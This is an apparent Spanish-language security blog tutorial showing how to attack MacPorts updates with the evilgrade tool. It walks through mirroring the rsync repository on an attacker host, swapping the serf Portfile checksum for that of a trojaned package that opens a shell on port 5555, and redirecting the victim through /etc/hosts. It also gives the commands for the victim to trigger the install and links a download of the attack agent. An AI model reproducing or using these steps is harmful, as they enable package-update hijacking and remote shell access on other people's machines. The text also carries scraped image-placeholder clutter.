A grandes rangos el port utiliza:
a) Para la actualización de su repositorio un servidor rsync
b) Los paquetes se distribuyen por http/ftp
c) Antes de instalar un nuevo paquete verifica el md5/sha1 del repositorio local con el nuevo archivo si es valido instala el paquete.
Para realizar el ataque debemos seguir las siguientes tareas:
1) Preparamos el servidor de rsync en el equipo atacante (192.168.10.133) con todo repositorio valido de rsync.macports.org:
mkdir -p /dev/evilgrade/release/ports
mkdir -p /dev/evilgrade/release/base
#Obtenemos la información necesaria
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/ports/ /dev/evilgrade/release/ports/
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/base/ /dev/evilgrade/release/base/
2) Configuramos el archivo/etc/rsyncd.conf:
max connections = 20
log file = /var/log/rsync.log
timeout = 300
[release]
comment = Stuff
path = /dev/evilgrade/release/
read only = yes
list = yes
uid = nobody
gid = nogroup
# auth users = craig
# secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.10.0/24 #cambiar por la subnet correspondiente.
3) Luego levantamos nuestro servidor /etc/init.d/rsync start
4) En este caso vamos a atacar el paquete serf dentro de la categoría www. La idea es que cuando instale este paquete nos deje una shellen el puerto 5555
Tenemos que editar en el repositorio el archivo/dev/evilgrade/release/ports/www/serf/Portfile y cambiar el checksums md5 por el hash de nuestro payload/agente que se encuentra en /evilgrade/agent/serf-0.7.2.tar.bz2
También se podría preparar este repositorio para que todos los Porfiles apunten a un mismo paquete con el mismo md5 con la cual cualquier instalación por port infectaría a la victima
Este agente tiene una línea (132) en el Makefile.in para dejar una shell en el 5555
Image may be NSFW.
Clik here to view.
Clik here to view.

4) En el equipo víctima (192.168.10.42) para esta prueba agregamos en el /etc/hosts las siguientes lineas o realizamos algún ataque de redireccionamiento de trafico:
192.168.10.133 serf.googlecode.com rsync.macports.org
5) Levantamos el evilgrade en el equipo atacante 192.168.10.133
6) En el equipo victima corremos un“sudo port selfupdate” y luego“sudo port install serf”
Image may be NSFW.Clik here to view.

7) Verificamos que nuestro atacante este recibiendo el requerimiento por rsync leyendo el archive /var/log/rsync.log
Image may be NSFW.Clik here to view.

y luego el request en evilgrade:
Image may be NSFW.
Clik here to view.
Clik here to view.

8) Por ultimo nos conectamos a nuestra shell
Image may be NSFW.
Clik here to view.
Clik here to view.

Para obtener este obtener el agent y modulo deMacPort bajar el siguiente paquete http://www.infobytesec.com/down/macportsevilgrade.tar.gzdescomprimirlo en el raíz de evilgrade.
Recuerden mantener actualizados sus sistemas ;)